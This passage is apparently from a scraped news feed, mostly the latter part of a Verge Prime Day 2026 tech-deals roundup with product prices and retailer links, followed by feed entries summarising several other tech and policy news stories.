minutes. Plus, with three USB-C ports and a USB-A port, you can power multiple devices at once, including phones, tablets, and handheld consoles.\n\nWhere to Buy:\n\n $119.99 $91.19 at Amazon (with Prime)\n $119.99 $91.99 at Anker (w/ code WS24WMDU4N)\n $119.99 $91.99 at Newegg (w/ code FTTF5859)\n\n\nApple MagSafe Charger (2m)\nApple’s latest MagSafe charger fully supports the newer Qi2.2 standard, allowing it to charge compatible devices (including the iPhone 17 series and Google’s Pixel 10 lineup) at 25W speeds.\n\nWhere to Buy:\n\n $49 $28 at Amazon\n\n\nBelkin BoostCharge Pro 3-in-1 Wireless Charging Stand with Qi2 15W\nBelkin’s triple charging stand achieves 15W MagSafe wireless iPhone charging speeds and keeps your phone and Apple Watch elevated for easy reading.\n\nWhere to Buy:\n\n $119.99 $63.16 at Amazon (black)\n $119.99 $69.99 at Amazon (white)\n\n\nBelkin Charging Case for Nintendo Switch 2\nThe case features an integrated power bank and a small pocket to stow an AirTag (or other similarly sized Bluetooth tracker).\n\nWhere to Buy:\n\n $69.99 $54.99 at Amazon\n\nSmartwatch and wearable deals\nThe Apple Watch Series 11 has dropped to $279 in the 42mm GPS configuration (originally $399) at Amazon and Walmart, which is $20 lower than it has previously sold for. $299 has been the normal sale price for the past few months, but those patiently waiting for another price drop have been rewarded. If you want the larger 46mm GPS model, that’s down to $309 at Amazon and Walmart, which is another new low. Given it’s the latest model, it will support watchOS 27 as well as at least a few major software updates to come. Read our review.\nApple Watch SE 3\nThe Apple Watch SE 3 offers some big upgrades over its predecessor, including an always-on display, allowing you to glance at the time or unread notifications. It also has Apple’s powerful S10 chip, which enables on-device Siri requests. Read our review.\n\nWhere to Buy:\n\n $249 $199 at Amazon (40mm, GPS)\n $279 $229 at Amazon (44mm, GPS)\n\nYou can buy the Apple Watch Ultra 3 with an Ocean Band, Trail Loop strap, and Alpine Loop strap for $649 ($150 off) at Amazon, which is a new low price. The Ultra 3 is Apple’s most rugged and feature-packed smartwatch, making it a great choice for athletes and outdoorsy folks. It delivers up to 42 hours of battery life — six hours more than its predecessor — and features a larger wide-angle OLED display with a refresh rate that goes down to just 1Hz for battery savings, plus slimmer bezels. It also supports both satellite connectivity and 5G. Read our review.\nGoogle’s Pixel Watch 4 has gotten discounts in both 41mm and 45mm sizes, whether you want the basic Wi-Fi/GPS feature offering, or you want to upgrade to the model that supports LTE. Originally $349.99, the 41mm GPS model is $289.99 at Amazon, while the 45mm version is $319.99. The LTE versions are  $334.99 ($115 off) and $399.99 ($100 off). The Pixel Watch 4 is the best smartwatch for Android users (perhaps until the leaked Pixel Watch 5 launches), particularly for those who use a Pixel phone. Read our review.\nFitbit Ace LTE\nThe Ace LTE sports some of the same hardware found on the Google Pixel Watch 2 and a variety of step-activated games, which can help motivate your child to keep moving. It also offers calling, messaging, and location sharing when you sign up for a monthly or annual data plan. Read our hands-on impressions.\n\nWhere to Buy:\n\n $179.99 $59.95 at Amazon\n $179.99 $69.99 at Google\n $179.99 $69.99 at Best Buy\n\nFor Android smartwatch options that costs less, and are really only useful for Samsung phone owners, the Galaxy Watch 8 and Watch 8 Classic are discounted to $237.99 and $349.99, respectively. These are savings of $100 at minimum. Read our review.\nOura Ring 4\nThe Oura Ring 4 is slimmer and more accurate than its predecessor (though the newer Oura Ring 5 is even smaller), with AI-powered tools and longer battery life. Read our review.\n\nWhere to Buy:\n\n $349 $226 at Amazon\n $349 $244 at Best Buy\n $349 $244.3 at Oura\n\nGaming deals\nNex Playground\nThe Nex Playground is a motion-controlled console that connects to your TV and uses a built-in camera and AI to track your movements as you play. Designed for ages five and up, it comes with games like Fruit Ninja and Whack-a-Mole Deluxe. You can download more games, including titles featuring popular characters like Elmo, with a paid Play Pass subscription.\n\nWhere to Buy:\n\n $299 $239 at Amazon\n $299 $239 at Walmart\n $299 $239 at Best Buy\n\nOLED gaming monitors that offer super-fast refresh rates are cheaper than usual during Prime Day, and several of them are from Asus. The company’s Strix XG27ACDNG 26.5-inch 1440p QD-OLED with a 360Hz refresh rate is down to $534 at Amazon. Its previous best price was $599.99, and it didn’t come around often. The next step up is the Swift PG27AQDP WOLED 1440p monitor with 480Hz refresh rate. It costs $664 during Prime Day at Amazon, down from around $800. Finally, the Asus ROG Swift PG27UCDM, a 4K QD-OLED with a 240Hz refresh rate, is $934 at Amazon — its best price yet that’s $265 off its original price.\nPlayStation Pulse Explore\nThe Pulse Explore are PlayStation-branded wireless earbuds from Sony that deliver low latency, lossless audio. They’re compatible with the PlayStation Portal as well as the PlayStation 5, PC, and macOS via the included PlayStation Link USB adapter. Read our hands-on impressions.\n\nWhere to Buy:\n\n $199.99 $99.99 at Walmart\n\n\nMeta Quest 3S\nIf you bought a Meta Quest 2, you’re a prime candidate for the Quest 3S. It’s a faster, more comfortable VR headset that runs the same chipset as the pricier Quest 3. While its screen resolution hasn’t improved, nearly everything else about the hardware has. Read our review.\n\nWhere to Buy:\n\n $349.99 $296.79 at Amazon (128GB)\n $349.99 $297.49 at Best Buy (128GB)\n\n\nLegend of Zelda Tears of the Kingdom Switch 2 Edition\nThe Switch 2 Edition of The Legend of Zelda: Tears of the Kingdom has the same technical enhancements as Breath of the Wild, but they’re more welcome here because the game struggled to run a bit on the original Switch. The game is set in the same environment as its predecessor, but Hyrule is more dense, so there’s even more to explore. Your physics-based powers help a lot with traversal. Read our review.\n\nWhere to Buy:\n\n $79.99 $49.94 at Amazon (digital)\n $79.99 $59.99 at Target (physical)\n\nMetroid Prime 4: Beyond for the Nintendo Switch 2 is down to $44.99 in physical cartridge format at Amazon, down from $69.99. It’s the biggest deal we’ve seen yet for the Switch 2 version of the game. Previously, we’d seen $40 deals for the original Switch version, but to unlock faster loading and better graphics, Switch 2 owners would have to pay $10 for the upgrade pack.\nResident Evil Requiem\nThe latest entry in the long-running survival horror series, with two different styles of gameplay via its dual protagonists. Read our review.\n\nWhere to Buy:\n\n $69.99 $55.99 at Amazon (PS5)\n $69.99 $53.19 at Amazon (Switch 2)\n $69.99 $55.99 at Amazon (Xbox Series X)\n\n\nMetal Gear Solid Delta: Snake Eater\nMetal Gear Solid Delta is a ground-up remake of the 2004 classic Metal Gear Solid 3. It features completely revamped visuals and modern controls, so moving Snake through the jungle feels just as smooth as it did in 2015’s Metal Gear Solid V: The Phantom Pain. It retains the original plot and performances, along with various cutscenes, levels, and other gameplay elements. Read our review.\n\nWhere to Buy:\n\n $69.99 $25.38 at Amazon (PS5) \n $69.99 $24.99 at Amazon (Xbox)\n $69.99 $25.38 at Walmart (PS5)\n\n\nGigabyte 27-inch 1440p W-OLED gaming monitor\nIt’s fairly common to find semi-affordable QD-OLED gaming monitors, but W-OLEDs are slightly more rare in the sub-$500 range. The MO27Q28GR features a 280Hz refresh rate, variable refresh rate support, built-in KVM, HDMI, DisplayPort, and USB-C connectivity, and more.\n\nWhere to Buy:\n\n $599.99 $454.99 at Amazon\n\n\nAcer Predator 26.5-inch 1440p QD-OLED gaming monitor\nThe X27U is a lot of monitor for the price, packing a 240Hz refresh rate QD-OLED panel, a versatile stand, two DisplayPort 1.4 inputs, plus two HDMI 2.1 ports for console and PC.\n\nWhere to Buy:\n\n $549.99 $314.99 at Amazon\n\nLego deals\nLego Star Wars Imperial Star Destroyer\nLego’s brick-ified replica of an Imperial Star Destroyer is an excellent 1,555-piece throwback to Star Wars: A New Hope, one that comes with seven minifigs, plenty of interior detail, and a convenient handle for carrying it around the room.\n\nWhere to Buy:\n\n $159.99 $111.99 at Amazon\n\nThe Lego Star Wars: The Clone Wars Coruscant Guard Gunship has dropped to $97.99 ($42 off) at Amazon, which is its best price of the year and only $2 more than its all-time low. The 1,083-piece building set comes with five minifigures, including the likes of Chancellor Palpatine and Padmé Amidala, along with features like dual pilot cockpits, stud shooters, adjustable cannons, and an opening cabin with space for troops and gear. \nYou can buy the Lego Robot World Roller-Coaster Park on sale for $69.99 ($30 off) at Amazon, which matches its best price to date. The 986-piece set comes with everything you need to build a robot-themed roller coaster, including eight mini-figures, a detachable mech action figure, and accessories like toy cell phones.\nLego Piranha Plant\nLego’s 540-piece Piranha Plant set remains one of the more affordable Lego Mario kits you can buy. It’s got a massive mouth, posable leaves, and comes with two coins inspired by the classic franchise.\n\nWhere to Buy:\n\n $59.99 $37.79 at Amazon\n $59.99 $37.79 at Target\n\nThe Lego Wild Animals: Majestic Rhino with Birds set is down to $41.99 ($18 off) at Amazon, which also matches its record low price. The 780-piece set lets you build one of three posable animals from the African savannah— a rhino with colorful birds, a hippo, or a walrus — and includes accessories like fish for the walrus display.\nIf you’d rather not be tied to a specific build, the 790-piece Lego Classic Large Creative Brick Box is on sale for $33.49 ($26 off) at Amazon, which is $10 shy of its all-time low and one of the better prices we’ve seen this year. It comes with bricks in 33 colors, along with windows, doors, wheels, and baseplates, so you can build everything from houses and vehicles to animals.\nLego Botanicals Flower Bouquet Building Set\nThe 756-piece set features a bouquet of buildable flowers, including roses, poppies, daisies, asters, and more. It also includes posable leaves and 15 adjustable stems.\n\nWhere to Buy:\n\n $59.99 $33.59 at Amazon\n\nIf you prefer something a little simpler (or cheaper), the Lego Roses set includes 120 pieces to build two red roses with adjustable stems, and we often recommend it as a sweet gift for a partner, friend, or family member. It’s on sale for $8.79 ($7 off) at Amazon and Target, which is $2 shy of its best price to date.\nLego’s Lotus Flowers set is another budget-friendly build, and it’s nearly half off at $7.99 ($7 off) at Amazon, which is its best price of the year. The 220-piece set includes two blooming lotus flowers and a budding flower with pink-and-white petals and long green stems.\nRobot vacuum and mop deals\nRoborock Saros 20\nRoborock’s Saros 20 stands out for its ability to climb tall thresholds, avoid obstacles with impressive accuracy, and clean under low furniture thanks to its slim design. It also combines powerful 36,000Pa suction with great spinning mop pads, which is why we recommend it for homes with multiple floor types and tricky transitions between rooms.\n\nWhere to Buy:\n\n $1599.99 $1424.99 at Amazon\n $1599.99 $1359.99 at Roborock\n\n\nEufy Omni C28\nThe Eufy Omni C28 combines excellent mopping performance with a small self-cleaning dock that’s well suited for apartments and other smaller spaces. It navigates around furniture and into tight areas with ease, while its roller mop does a great job cleaning hard floors.\n\nWhere to Buy:\n\n $799.99 $449.99 at Amazon\n $799.99 $449.99 at Eufy (with code WS24C28200NEW)\n\nThe Roborock Q10 S5 Plus is down to $264.99 ($285 off) at Amazon, which matches its lowest price to date. The Q10 S5 Plus is one of our favorite budget-friendly robot vacuum / mop hybrids, combining good AI-powered obstacle avoidance with automatic carpet detection. It also features a vibrating mop that does a solid job scrubbing hard floors while lifting itself over rugs, and the set includes a self-emptying dock for added convenience. It can’t match the suction power or tall threshold-climbing abilities of pricier models like the Saros 20, but this is a good value under $300.\nNarwal Flow 2\nOur pick for the best robot vacuum-mop if you have all hardwood floors is the Narwal Flow 2. A superb mop with a wide flat roller pad and an excellent vacuum, the Flow 2 also has top-notch navigation and obstacle detection. Its sleek base station is also less of an eyesore than most.\n\nWhere to Buy:\n\n $1499.99 $949.99 at Amazon\n $1499.99 $949.99 at Narwal\n\nDreame’s X60 Max Ultra is on sale for $1,344.99 ($355 off) at Amazon, which is its best price to date. We highly recommend the Dreame X60 Ultra for homes with lots of carpet, as it combines powerful 35,000Pa suction with dual rubber brushes that excel at lifting hair and debris. It can also climb over tall thresholds and thick rugs with ease, while its spinning mop pads do a good job on hard floors and automatically detach when vacuuming carpet. Other highlights include quiet mop washing and drying along with a slim design that can fit under low furniture.\nRoborock Qrevo Curv 2 Flow\nRoborock’s first roller-mop robot vacuum, the Curv 2 Flow, features flagship specs at a mid-range price. Including excellent mopping, a retractable mop cover, 20,000Pa suction, AI-powered obstacle avoidance, and a compact design.\n\nWhere to Buy:\n\n $999.99 $699.99 at Amazon \n $999.99 $799.99 at Best Buy\n $999.99 $714.99 at Roborock\n\nDreame’s L40 Ultra Gen 2 is on sale for $384.99 ($265 off) at Amazon and $399.99 directly from Dreame. It delivers powerful 25,000Pa suction, AI-powered obstacle avoidance, and a self-cleaning dock that empties the dustbin, washes the mop, and refills its water tanks. Unlike the X50 Ultra, however, it lacks the ability to climb high thresholds or stairs.\nEcovacs Deebot X12 OmniCyclone\nEcovacs’ latest flagship robot vacuum and mop can pretreat stains, keep carpets dry with a smart mop cover, and deliver powerful 22,000Pa suction. It also comes with an all-in-one dock that automatically empties the dustbin, washes the mop with heated, pressurized water, and refills its water tanks.\n\n\nWhere to Buy:\n\n $1499.99 $799 at Amazon\n $1499.99 $946.99 at Best Buy\n $1499.99 $842 at Ecovacs\n\nYou can buy the SwitchBot K11 Plus on sale for around $189.99 ($210 off) at Amazon and directly from SwitchBot with code PDDAY53, which is $10 more than its best price. It’s a tiny bot with an equally small self-emptying dock, making it a great fit for smaller spaces. Its suction power tops out at 6,000Pa, but it’s still an effective cleaning machine with a rubber roller brush and a single side brush that does a solid job picking up dirt, dust, and debris from both hard floors and carpets.\nDyson PencilWash\nThis is the lowest price yet for the powered wet mop that’s a cousin to the silly-sounding-but-awesome Dyson PencilVac Fluffycones vacuum.\n\nWhere to Buy:\n\n $349.99 $199.99 at Amazon\n\nPhone deals\nGoogle Pixel 10A\nGoogle’s new Pixel 10A introduces faster wired charging, Satellite SOS, and new AI tools like Camera Coach and Auto Best Take. Otherwise, it’s basically the Pixel 9A, with the same Tensor G4 chip and a dual-camera system. Read our hands-on impressions.\n\nWhere to Buy:\n\n $499 $399 at Amazon (128GB)\n $499 $399 at Best Buy (128GB)\n $599 $499 at Amazon (256GB)\n\n\nGoogle Pixel 10 Pro\nThe Pixel 10 Pro has a 6.3-inch OLED display, Google’s Tensor G5 processor, 16GB of RAM, Pixelsnap wireless charging at 15W, support for Wi-Fi 7, and an Ultra-Wideband chip.\n\nWhere to Buy:\n\n $999 $684 at Amazon\n $999 $749 at Google Store\n $999 $684 at Best Buy\n\nThe Nothing 4A Pro with 12GB of RAM and 256GB of storage is down to $509.99 at Amazon, Walmart, and directly from Nothing, a hearty discount from its original $599 price. It’s the biggest, most high-end phone you can get for around this price, if you don’t want to settle for the Pixel 10A. Its 6.83-inch screen has a 144Hz refresh rate, but really what sets this one apart is its unique design. The Glyph Matrix display on its rear that can show the time or show an icon to alert you of notifications. Read our review.\nSamsung Galaxy S26 Ultra\nSamsung’s 6.9-inch S26 Ultra is the only model in the lineup with the new privacy display, designed to limit what people around you can see on your screen. It also includes the S Pen and upgrades the camera hardware, adding dual telephoto lenses alongside a 200-megapixel main sensor. Read our review.\n\nWhere to Buy:\n\n $1299.99 $949.99 at Amazon (256GB)\n $1299.99 $934.99 at Best Buy (256GB)\n $1499.99 $1149.99 at Amazon (512GB)\n\n\nGoogle Pixel Pro 10 Fold\nThe Google Pixel 10 Pro Fold has a 6.4-inch outer screen and eight-inch inner screen. The new foldable has Google’s Tensor G5 processor, 16GB of RAM, Wi-Fi 7 support, Pixelsnap wireless charging at 15W, and an IP68 rating.\n\nWhere to Buy:\n\n $1799 $1399 at Amazon (256GB)\n $1799 $1489 at Google (256GB)\n $1799 $1399 at Best Buy (256GB)\n\n4K TV and monitor deals\nLG C5 OLED TV\nLG’s midrange C5 TV is an excellent way to get OLED performance without paying top dollar. It has a good amount of brightness, excellent color accuracy out of the box, and great gaming features, including a max 144Hz refresh rate.\n\nWhere to Buy:\n\n $2699.99 $1199.9 at Amazon (65-inch)\n $1999.99 $1099.99 at Best Buy (55-inch)\n $1999.99 $1099.99 at Amazon (55-inch)\n\n55 inches is a good size for TVs, and getting one as good as the TCL QM6K for only $447.99 ($50 off) at Amazon is worth it. It’s particularly good for someone looking for a lower-priced gaming TV, as it supports high refresh rates up to 4K/144Hz with a PC (or 1080p at 288Hz) with VRR and has low input lag. It’s not the light cannon that more expensive TCL TVs are, but in a light-controlled room there’s enough brightness for watching or playing anything.\nThe 65-inch Hisense Canvas TV is on sale for $849.99 at Amazon, which is a new low price for the 2026 model. The Hisense CanvasTV is an excellent budget-friendly alternative to Samsung’s The Frame, one that comes with a free magnetic bezel, access to over 1,000 artworks, and runs on the excellent Google TV interface.\nSamsung S90F\nSamsung’s S90F is a premium OLED TV with a 120Hz panel, four HDMI 2.1 ports, and access to game streaming services like Nvidia’s GeForce Now via Samsung’s Gaming Hub.\n\nWhere to Buy:\n\n $1799.99 $997.99 at Amazon (55-inch)\n $2499.99 $1197.99 at Amazon (65-inch)\n $3499.99 $1797.99 at Amazon (77-inch)\n\nThe 32-inch Asus ProArt 6K display is $999.99 at Amazon during Prime Day, down from its original list price of $1,299. The IPS monitor can display up to 6,016 x 3,384 resolution, and it covers 98 percent of the DCI-P3 gamut and 100 percent of the sRGB gamut. It features HDMI 2.1, DisplayPort 1.4, plus two Thunderbolt 4 ports that can deliver up to 96W of power for laptops and be used to daisychain with other monitors.\nTCL QM8K Series QD-Mini LED TV\nThe QM8K delivers TCL’s best performance for the price in its 2025 TV lineup, and it still competes with 2026 TVs.\n\nWhere to Buy:\n\n $1999.99 $1397.99 at Amazon (75-inch)\n $4999.99 $2997.99 at Walmart (98-inch)\n $2499.99 $1399.99 at Best Buy (75-inch)\n\nA smaller 27-inch 5K ProArt display from Asus is down to $634 at Amazon (usually priced around $780), marking its best price yet. The PA27JCV seems like a solid alternative if Apple’s Studio Display or other options are a little too pricey. The ProArt monitor features a built-in KVM switch, HDR support, and a bevy of connectivity options, including HDMI, DisplayPort, and USB-C (with up to 96W charging).\nDell makes a 27-inch 4K monitor with USB-C video-out, and it’s selling for just $251.72 (originally $349.99) at Amazon. Beyond being a good pick for easy connectivity with a Mac, or a Windows machine that supports USB-C video, the display has solid specs, like a 120Hz refresh rate, AMD FreeSync Premium adaptive sync to prevent screen tearing, and USB-C charging up to 65W PD. A 1440p version with similar specs (but a faster 144Hz refresh rate) is just $199.99.\nHome theater and speaker deals\nEcho Dot Max\nThe Echo Dot Max features a flat design and a redesigned sound system, which delivers nearly three times the bass as its predecessor. It also offers improved conversation detection and better noise filtering, thanks to Amazon’s new AZ3 chip. Read our review.\n\nWhere to Buy:\n\n $99.99 $64.99 at Amazon\n\nThe WiiM Sound smart speaker (in black or white) that has a built-in circular display and supports multi-room pairing is down to $239.20 at Crutchfield from $299. The HomePod-esque speaker uses AI to adjust sound to fit your room, and it’s platform-agnostic, so it can work with practically any streaming service.\nSonos Five\nAs the flagship desk speaker in Sonos’ lineup, the Sonos Five provides superb sound quality that outperforms any other smart speaker in its price range. It also has an auxiliary input for playing other audio sources (like a turntable) through your Sonos system.\n\nWhere to Buy:\n\n $549 $449 at Amazon\n $549 $449 at Sonos\n $549.99 $449 at Best Buy\n\nHisense’s Dolby Atmos-ready 5.1.4 soundbar system is discounted during Prime Day. The AX5140Q costs $329.99 at Amazon, which is $70 off its original price. The 40-inch soundbar includes forward- and upward-firing speakers, a wireless subwoofer, plus two wireless satellite speakers that have their own forward- and upward-firing drivers. I wish I had gotten this set instead of the Vizio Elevate SE — it’s good, but this seems a lot better for the price. The soundbar features multiple ways to connect devices, including aux-in, optical-in, plus two HDMI inputs, one of which supports eARC.\nSonos Era 100\nSonos’ Era 100 smart speaker is a replacement for the older Sonos One, utilizing two tweeters (left and right) and one larger woofer. In addition to Wi-Fi, the Era 100 supports Bluetooth audio and line-in playback via an optional adapter.\n\nWhere to Buy:\n\n $249 $179 at Amazon\n $249 $179 at Sonos\n $249 $179 at Best Buy\n\nThe Era 100 SL that lacks a microphone is $20 less, costing $159 at Amazon during Prime Day. If you don’t feel the desire to get chatty with your electronics, this is an easy way to save $20 on your next Sonos speaker.\nSony’s Bravia Theater Bar 9 soundbar is down to $998 at Amazon during Prime Day. It typically retails for $1,498, though it also typically sells at this very discount during other big shopping events, like Black Friday. The 43.3-inch soundbar packs a whopping 13 speakers, including a mix of forward-, side- and upward-firing speakers. \nAmazon Echo Studio (2025)\nThe latest Echo Studio is 40 percent smaller than its predecessor, but packs better sound. It’s the better choice compared to the Echo Dot Max if you intend to listen to a lot of spatial audio. Read our review.\n\nWhere to Buy:\n\n $219.99 $174.99 at Amazon\n\n\nBose TV Speaker\nThe Bose TV Speaker delivers a rich, immersive sound in a compact design. It features a three-speaker setup, a dedicated dialog mode, and Bluetooth connectivity, so you can use the soundbar to listen to music or podcasts.\n\nWhere to Buy:\n\n $279 $199 at Amazon\n $279 $199 at Best Buy\n $279 $199 at Bose\n\nBose’s Smart Ultra soundbar has dropped to $699, down from its original $999 price, at Amazon. To be transparent, this price was available ahead of Prime Day, so it’s not a brand-spankin’-new deal. However, it’s a good deal if you’re considering building out a Bose speaker ecosystem with a few of its Lifestyle Ultra wireless speakers that can extend the sound.\nUltimate Ears Wonderboom 4\nThe Wonderboom 4 might feature a compact design, but it still delivers big sound for its diminutive size. It also carries an IP67 rating, meaning it’s both water- and dust-resistant (it can even float if you need it to).\n\nWhere to Buy:\n\n $79.99 $49.39 at Amazon\n $79.99 $49.39 at Walmart\n $79.99 $51.99 at Best Buy\n\nStreaming device deals\nGoogle TV Streamer (4K)\nGoogle’s terrific TV Streamer (4K) is the company’s best attempt at a streaming device yet, with built-in ethernet, an excellent interface, and smart home compatibility with both Matter and Thread. Read our review.\n\nWhere to Buy:\n\n $99.99 $74.99 at Amazon\n $99.99 $79.99 at Google\n $99.99 $79.99 at Best Buy\n\nAmazon’s Fire TV Stick 4K Max is its highest-end streaming stick, and it costs $34.99 at Amazon. It’s a good price considering its relatively speedy performance, plus support for Dolby Vision and HDR10 Plus HDR formats, along with Dolby Atmos audio. It works with Wi-Fi 6E routers, too.\nMost people looking for an affordable streaming stick should opt for the Fire TV Stick 4K Max, but if you want to save a little money and don’t mind slower performance (and fewer features), the Fire TV Stick 4K Select will get the job done. It’s down to $17.99 at Amazon, which is just $2 more than the model that tops out at 1080p resolution.\nMisc. gadget deals\nApple AirTags (second-generation)\nApple’s latest AirTag features an upgraded ultra-wideband chip for more precise location tracking, a noticeably louder speaker, and an expanded Bluetooth range. Read our review.\n\nWhere to Buy:\n\n $99 $89 at Amazon (pack of four)\n $99 $89 at Best Buy (pack of four)\n $128.99 $99.99 at Costco (pack of five)\n\n\nXreal One Pro\nThe Xreal One Pro project a huge virtual display that feels like a 171-inch screen, using micro-OLED panels, a 57-degree field of view, and a 120Hz refresh rate. Powered by Xreal’s X1 chip, the smart glasses offer low-latency tracking with optional 6DoF spatial anchoring so your screen stays fixed in place. They also feature built-in speakers and work with a wide range of USB-C devices.\n\nWhere to Buy:\n\n $599 $549 at Best Buy\n $599 $549 at Xreal\n\nThe company’s Xreal 1S smart glasses are also discounted during Prime Day. You can pick up a pair for $399 (normally $449) at Amazon. While nearly identical in terms of design to the pricier One Pro (they also feature three degrees of freedom, letting you pin virtual content in place), their field of view and clarity aren’t as good. Additionally, their optics let in more light, so they aren’t as good of a pick unless you intend to view content mostly in dimly-lit spaces. Still, they’re comfortable, with great build quality, and they’re easy to use.\nHoto 3.6V Electric Screwdriver Kit Pro\nHoto’s rechargeable screwdriver is ideal for small repairs. It offers three torque modes, a rotational speed of up to 220RPM, and a helpful circular LED to illuminate dark spaces. The durable case also holds all 25 steel bits and an extension bar for getting into hard-to-reach places.\n\nWhere to Buy:\n\n $49.99 $28.49 at Amazon\n\nThe 11-inch M4-powered iPad Air is on sale for $519 ($79 off) at Amazon and Best Buy, which is its best price to date. The Air is a sizable step up from Apple’s entry-level iPad, combining a faster M4 chip with 12GB of RAM, Apple Intelligence features, and support for the Apple Pencil Pro. It also includes newer connectivity standards like Wi-Fi 7 and Bluetooth 6, making it more future-proof. Read our review.\nCuisinart 8-in-1 1800W toaster oven\nYour life may be improved immeasurably with a good toaster oven. There’s no need for a standalone microwave, an air fryer when this model can evenly heat most food. They’re particularly great for reheating leftovers, or for quickly making a side of roasted veggies.\n\nWhere to Buy:\n\n $219.99 $151.95 at Amazon\n\nCricut’s Maker 4, a capable cutting machine that can make detailed cuts, draw, write, engrave, and more, is down to $379 during Prime Day at Amazon. It’s a big discount off its usual $449 price, and the best price we’ve seen since an early January discount.\nFor something simpler and smaller, the Cricut Joy 2 Essential Bundle includes the Joy 2 automatic cutting and drawing machine, plus numerous materials to get you started. It’s down to $109 (originally $139) at Amazon, the lowest price we’ve seen. The Ultimate Bundle with even more materials and tools is $146 (originally $209) at Amazon. Read our review. \nNinja Creami Deluxe 11-in-1 Ice Cream Maker\nIt’s time to fill that freezer with ice cream, but not just any ice cream will do. Make the flavors you want, complete with experimental mix-ins, with Ninja’s Creami Deluxe.\n\nWhere to Buy:\n\n $249.99 $199.95 at Amazon\n\nWearable lights from Glocusent that make it easier to read or do hobbies with your hands are always popular with Verge readers. The company’s bendable neck light that supports three color temperatures and six levels of brightness is down to $16.24 (originally $28.99) at Amazon. It’s not a big discount from its normal price of about $19, but it’s also not a lot of money for what might become a staple in your everyday carry setup. It’s rechargeable via USB-C, and can last up to 80 hours per charge.\nBirdbuddy Pro (solar)\nBirdbuddy’s charming, camera-equipped feeder identifies and snaps shots of each bird that stops by, supplementing its 5-megapixel stills with insightful facts via an app. The solar roof helps keep the camera’s battery topped up even when it’s cloudy outside.\n\nWhere to Buy:\n\n $299 $168 at Amazon\n $299 $239 at Birdbuddy\n\nLaptop deals\nThe days of multi-hundred-dollar discounts on MacBooks are behind us for now, but the base 14-inch MacBook Pro with an M5 chip for $1,549 ($150 off) at Amazon and Best Buy is still a solid deal. It’s powerful enough for the average content creator, comes with 16GB of RAM and 1TB of storage, and has lots of ports. Read our review.\nApple MacBook Air (M5)\nApple’s 2026 MacBook Air has an M5 chip and starts with 512GB of storage that’s significantly faster than previous generations. It’s still as excellent as ever despite a higher base price. Read our review.\n\nWhere to Buy:\n\n $1099 $949.99 at Amazon (13-inch)\n $1099 $949 at Best Buy (13-inch)\n $1299 $1149 at Amazon (15-inch)\n\nMoft has a variety of deals on its origami-style cases and stands. You can get its folding 2-in-1 Laptop Carry Sleeve, a sleek laptop case that doubles as a portable stand, for $51.96 ($13 off) at Amazon in four sizes and up to 11 different colors. Or, if you don’t mind some adhesive, the Moft Laptop Stand in select colors is $19.99 ($5 off) at Amazon. The super thin attachment sticks to the bottom of your laptop to give you a fold-out stand anywhere you go.\n2025 Asus ROG Zephyrus G14\nAsus’ ROG Zephyrus G14 is the go-to choice for a portable gaming machine that’s great at regular laptop duties. It’s got a lovely OLED display, great keyboard and trackpad, and solid battery life. There’s a new Intel model that’s much pricier, but the 2025 version with AMD chips is still a great choice.\n\nWhere to Buy:\n\n $2299.99 $1449.99 at Best Buy (Ryzen 9 270, RTX 5060, 16GB, 1TB)\n $3169.99 $2699.99 at Best Buy (Ryzen AI 9 HX, RTX 5080, 32GB, 2TB)\n\nUpdate, June 24th: Pricing updated and added deals for several Lego sets, Philips Hue products, Echo Show smart displays, the Apple MagSafe Charger, Roborock Qrevo Curv 2 Flow, Kobo Libra Colour, and more.","url":"https://www.theverge.com/gadgets/955366/best-prime-day-2026-tech-deals-day-two-sale","imageUrl":"https://platform.theverge.com/wp-content/uploads/sites/2/2026/06/268513_Amazon_Prime_Day_artwork_5.jpg?quality=90&#038;strip=all&#038;crop=0,0,100,100","domain":"The Verge","pubDate":"2026-06-24T23:48:19.000Z","hasFullContent":false,"language":"en","region":"us"},{"title":"Hotly anticipated Grand Theft Auto VI will cost more than other AAA games","description":"GTA6 might be an outlier, though—at least for now.","url":"https://arstechnica.com/gaming/2026/06/grand-theft-auto-vi-will-cost-80-without-a-physical-disc/","imageUrl":"https://cdn.arstechnica.net/wp-content/uploads/2026/06/gta6-1152x648.jpg","domain":"Ars Technica","pubDate":"Wed, 24 Jun 2026 22:47:03 +0000","hasFullContent":false,"language":"en","region":"us"},{"title":"Charlie Kirk&#8217;s legacy is a 30-year sentence for moving zines","description":"Just days after a gunman killed conservative activist Charlie Kirk, it became clear that President Donald Trump would use the assassination to fuel a crackdown on free speech. To avenge Kirk's death, the administration vowed to go after so-called \"antifa\" (otherwise known as antifascist) terrorists. Now that promise is bearing fruit. This week, eight Texas activists were sentenced to between 30 and 100 years in prison - one for attempted murder, but most for supposedly belonging to an insurrectionary \"Antifa cell,\" including one sentenced to 30 years in part for moving a box of zines.\nThese unusually harsh sentences are a major victory for  …\nRead the full story at The Verge.","url":"https://www.theverge.com/policy/956404/prairieland-sentencing-zines-trump-antifa","imageUrl":"https://platform.theverge.com/wp-content/uploads/sites/2/chorus/uploads/chorus_asset/file/25461721/STK432_Government__CVirginia_A.jpg?quality=90&#038;strip=all&#038;crop=0,0,100,100","domain":"The Verge","pubDate":"2026-06-24T21:40:26.000Z","hasFullContent":false,"language":"en","region":"us"},{"title":"Microsoft introduces cheaper Surface devices with half the memory","description":"Microsoft just added a cheaper 12-inch Surface Pro and 13-inch Surface Laptop to its lineup. Both models come equipped with 8GB of RAM instead of 16GB, costing $849 for the specced-down Surface Pro and $949 for the Surface Laptop, as spotted earlier by Windows Central.\nWhen the 12-inch Surface Pro and 13-inch Surface Laptop launched in 2025, the base configurations offered 16GB of RAM and 256GB of USF storage, for $799 and $899, respectively. But in April 2026, Microsoft hiked the prices to $1,049 and $1,199. The memory crunch has also resulted in a higher base price for Microsoft's newest Surface models. \nOther than slashing device memory …\nRead the full story at The Verge.","url":"https://www.theverge.com/tech/956504/microsoft-surface-pro-laptop-ram","imageUrl":"https://platform.theverge.com/wp-content/uploads/sites/2/2025/05/257765_Microsoft_Surface_Laptop_13_2025_ADiBenedetto_0007.jpg?quality=90&#038;strip=all&#038;crop=0,0,100,100","domain":"The Verge","pubDate":"2026-06-24T21:39:00.000Z","hasFullContent":false,"language":"en","region":"us"},{"title":"Congresswoman denies staff used AI to write defense funding amendment","description":"Rep. Anna Paulina Luna (R-FL) says her staff used AI for \"spellcheck\" in an amendment summary for  a major defense bill, but denies it was used for the bill text itself and says \"NO Legislation is ever drafted with AI.\"\nLuna issued the response after accounts on X began sharing screenshots of an amendment summary for the 2027 National Defense Authorization Act. It reads: \"Identical to H.R. 100 